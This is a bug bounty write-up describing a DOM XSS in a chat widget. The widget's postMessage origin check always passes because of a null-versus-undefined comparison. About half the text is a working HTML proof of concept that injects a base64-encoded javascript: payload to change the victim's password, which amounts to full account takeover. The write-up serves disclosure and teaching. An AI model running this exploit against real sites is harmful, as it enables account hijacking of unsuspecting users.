Account takeover via postMessage
Hello everyone, I will share a simple and interesting xss completed through postMessage.
When I was looking for a site bug in a private program, I accidentally found a period javascript code, the code is as follows
t.prototype.redirectTo = function(t) {
var e = String(t || "");
document.location.href = e;
},
t.prototype.handleMessages = function(t) {
var e = this.chatInstancesDetail.filter(function(e) {
return e.domain.toLowerCase() === t.origin.toLowerCase()
})[0];
if (null !== e) {
var i = document.getElementById(this.inlineChatFrameId)
, n = i && i.parentElement;
switch (t.data.command) {
case "inline-chat-window-minimise":
return n && (n.classList.remove("gnatta-inline-webchat"),
n.classList.add("gnatta-inline-webchat-collapse"),
this.toggleInlineChatScrollLock(n, !1)),
void this.cookieService.create("InlineChatIsMinimized", "true", "", 0);
case "inline-chat-window-maximise":
return n && (n.classList.remove("gnatta-inline-webchat-collapse"),
n.classList.add("gnatta-inline-webchat"),
this.toggleInlineChatScrollLock(n, !0)),
void this.cookieService["delete"]("InlineChatIsMinimized", "");
case "inline-chat-window-close":
return this.killInlineChat(),
n && this.toggleInlineChatScrollLock(n, !1),
void this.cookieService["delete"]("InlineChatIsMinimized", "");
case "window-redirect":
return this.redirectTo(t.data.completionRedirectUrl),
void this.inlineChatSessionTrackingService.removeActiveChat()
}
}
}
After reading this code briefly, I found that he was listening to postMessage. Whenever I encounter the postMessage code, I always check to see if he checks the origin. This code clearly tells us that yes, he is checking the origin. All this does not seem to be a problem, but you may find that there is a problem with JavaScript. Let’s take a look at the origin check code.
var e = this.chatInstancesDetail.filter(function(e) {
return e.domain.toLowerCase() === t.origin.toLowerCase()
})[0];
if (null !== e) {//...}
Through observation I found that this.chatInstancesDetail
is an array, and the Array.prototype.filter
method always returns an array.
If you run the following code in the console
[1,2].filter((item)=>item===1)[0]
Will output 1
.
If the conditions are not met, the following code is listed
[1,2].filter((item)=>item===3)[0]
Will output undefined
, followed by a judgment statement if (null !== e) {//...}
.
In the javascript world, ==
and ===
are not the same.
Such as null==undefined
and null===undefined
, their results are different, which also leads to if judgment always being true
.
So this detection code is meaningless, any domain name can communicate with it.
After this, I simply constructed a poc, the code is as follows
<!DOCTYPE html>
<html>
<head>
<title>xss via postMessage</title>
</head>
<body>
<a href="javascript:attack()">click me start attack</a>
<script type="text/javascript">
var ctx,interval,payload;
payload=btoa(`
window.opener.postMessage('attackSuccess','*');
if(!window.cx){
window.cx=1;
email=$('#currentCustomerEmail').val();
password='Hackerone123';
$('input[name=newPassword]').val(password);
$('input[name=checkNewPassword]').val(password);
$('input[name=checkNewPassword]').removeAttr("disabled");
alert('Hello '+email+' your password will be changed to: '+password);
$('#updatePasswordForm').submit();
}
`);
function attack(){
ctx=window.open("https://example.com/xxx");
sendPayload();
}
function sendPayload(){
interval=setInterval(function(){
ctx.postMessage({'command':'window-redirect','completionRedirectUrl':`javascript:eval(atob('${payload}'))`},'*');
},500);
window.addEventListener("message",function(e){
if(e.data=="attackSuccess"){
clearInterval(interval);
}
});
}
</script>
</body>
</html>
After running the poc, you can successfully modify the victim’s password.
Finally, thank you for reading
Timeline
- Submit Report (Oct 25th)
- Hackerone staff changed the status to Triaged (Oct 26th)
- The program responds for the first time (Nov 1st)
- Rewarded $1,500 (Nov 1st)